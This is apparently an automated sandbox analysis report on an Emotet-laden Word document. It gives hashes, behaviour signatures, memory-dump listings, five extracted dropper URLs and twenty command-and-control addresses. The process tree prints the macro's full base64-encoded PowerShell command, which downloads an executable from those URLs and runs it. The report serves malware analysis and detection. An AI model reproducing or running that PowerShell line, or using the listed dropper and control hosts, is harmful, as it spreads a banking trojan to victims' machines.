Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    60s
  • max time network
    137s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    17/08/2020, 12:53

Sharing

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General

  • Target
    emotet_e2_b7294a864de05ae57bbfb41d555203d9e0e7073587f2a8c7a062bfb5644bc2e7_2020-08-17__125140._doc.doc
  • Size 229KB
  • Sample200817-c6191plsj2
  • SHA256 b7294a864de05ae57bbfb41d555203d9e0e7073587f2a8c7a062bfb5644bc2e7
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://poonamjoshi.com/wp-admin/pihy_fqz6_hadcsffl/
  • exe.dropper

    http://promservice-plast.com/wp-content/ap_j_9lkio2/
  • exe.dropper

    https://loveravista.saigoncitylands.com/wp-includes/t40_ey_5sefbwyrl/
  • exe.dropper

    http://novahills-phanthiet.com/wp-admin/iz34_se_j21i/
  • exe.dropper

    http://www.earthpath.com/EarthPath/tqli_b4_83vy/

Extracted

Family

  • emotet

C2

  • 68.44.137.144:443

  • 69.30.203.214:8080

  • 67.205.85.243:8080

  • 85.66.181.138:80

  • 74.208.45.104:8080

  • 109.116.214.124:443

  • 95.179.229.244:8080

  • 24.137.76.62:80

  • 95.213.236.64:8080

  • 113.160.130.116:8443

  • 47.146.117.214:80

  • 24.233.112.152:80

  • 87.106.139.101:8080

  • 89.186.91.200:443

  • 91.211.88.52:7080

  • 200.41.121.90:80

  • 107.185.211.16:80

  • 104.131.11.150:443

  • 5.39.91.110:7080

  • 62.138.26.28:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_b7294a864de05ae57bbfb41d555203d9e0e7073587f2a8c7a062bfb5644bc2e7_2020-08-17__125140._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1032
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABUAHIAZQBnAGYAeQAxAD0AJwBOAHgAegBzAGsAZgBlACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAcgBpAFQAYAB5AFAAUgBgAG8AdABvAGMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABIAHEAZgBxADkAZABxACAAPQAgACcAUAByAG0AaQAnADsAJABSADIAZwBvAHAAeQA4AD0AJwBOADkAdgBvAG8AcgB5ACcAOwAkAFYANAAxAG4ANgBtAG0APQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABIAHEAZgBxADkAZABxACsAJwAuAGUAeABlACcAOwAkAEsAYgBuAGYAYwBfADYAPQAnAFIANgBxAGYAbAB1ADMAJwA7ACQAQwA4AF8AZQAwAHAAZAA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAEUAQgBDAGwAaQBFAE4AVAA7ACQAUwAzAG8AaAA0AHoAbgA9ACcAaAB0AHQAcAA6AC8ALwBwAG8AbwBuAGEAbQBqAG8AcwBoAGkALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHAAaQBoAHkAXwBmAHEAegA2AF8AaABhAGQAYwBzAGYAZgBsAC8AKgBoAHQAdABwADoALwAvAHAAcgBvAG0AcwBlAHIAdgBpAGMAZQAtAHAAbABhAHMAdAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGEAcABfAGoAXwA5AGwAawBpAG8AMgAvACoAaAB0AHQAcABzADoALwAvAGwAbwB2AGUAcgBhAHYAaQBzAHQAYQAuAHMAYQBpAGcAbwBuAGMAaQB0AHkAbABhAG4AZABzAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwB0ADQAMABfAGUAeQBfADUAcwBlAGYAYgB3AHkAcgBsAC8AKgBoAHQAdABwADoALwAvAG4AbwB2AGEAaABpAGwAbABzAC0AcABoAGEAbgB0AGgAaQBlAHQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGkAegAzADQAXwBzAGUAXwBqADIAMQBpAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZQBhAHIAdABoAHAAYQB0AGgALgBjAG8AbQAvAEUAYQByAHQAaABQAGEAdABoAC8AdABxAGwAaQBfAGIANABfADgAMwB2AHkALwAnAC4AIgBTAGAAUABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFQAagA3AGEAawAyADMAPQAnAFQAbgBoAHYAYgBrAGQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE0ANQBiAHAANQB0AGkAIABpAG4AIAAkAFMAMwBvAGgANAB6AG4AKQB7AHQAcgB5AHsAJABDADgAXwBlADAAcABkAC4AIgBkAG8AdwBgAE4AYABsAGAAbwBBAEQARgBpAGwARQAiACgAJABNADUAYgBwADUAdABpACwAIAAkAFYANAAxAG4ANgBtAG0AKQA7ACQATQAzAGgAeABlAGcAZQA9ACcAVwAwADEAdQBoADMAYgAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFYANAAxAG4ANgBtAG0AKQAuACIAbABFAG4ARwBgAFQAaAAiACAALQBnAGUAIAAzADkAMwA3ADkAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwBrAGUALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAoACQAVgA0ADEAbgA2AG0AbQApADsAJABEAHgAZgB3AHgAYwB4AD0AJwBXAHAAMQAzAGsAaABvACcAOwBiAHIAZQBhAGsAOwAkAFEAeQB1AG4AZgBsAHcAPQAnAEUAZgBtAGEAaQBrAF8AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBwADgAeAAwAGgANgA9ACcATwBuAGoAMgBvADgAdwAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:904
    • C:\Users\Admin\AppData\Local\Temp\Prmi.exe
      "C:\Users\Admin\AppData\Local\Temp\Prmi.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1808
      • C:\Windows\SysWOW64\SortServer2003Compat\KBDARME.exe
        "C:\Windows\SysWOW64\SortServer2003Compat\KBDARME.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1644

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/904-8-0x000007FEF2170000-0x000007FEF2B5C000-memory.dmp
        Download

        memory/904-14-0x000000001C570000-0x000000001C571000-memory.dmp
        Download

        memory/904-9-0x00000000022D0000-0x00000000022D1000-memory.dmp
        Download

        memory/904-10-0x000000001AD40000-0x000000001AD41000-memory.dmp
        Download

        memory/904-11-0x00000000023C0000-0x00000000023C1000-memory.dmp
        Download

        memory/904-12-0x0000000002320000-0x0000000002321000-memory.dmp
        Download

        memory/904-13-0x000000001B7A0000-0x000000001B7A1000-memory.dmp
        Download

        memory/1032-2-0x0000000008AA0000-0x0000000008AA4000-memory.dmp
        Download

        memory/1032-6-0x000000000BF60000-0x000000000BF64000-memory.dmp
        Download

        memory/1032-5-0x000000000AEE0000-0x000000000AEE4000-memory.dmp
        Download

        memory/1032-4-0x0000000006F10000-0x0000000007110000-memory.dmp
        Download

        memory/1560-22-0x000007FEF2890000-0x000007FEF2B0A000-memory.dmp
        Download

        memory/1644-21-0x0000000000250000-0x000000000025C000-memory.dmp
        Download

        memory/1808-17-0x0000000000240000-0x000000000024C000-memory.dmp
        Download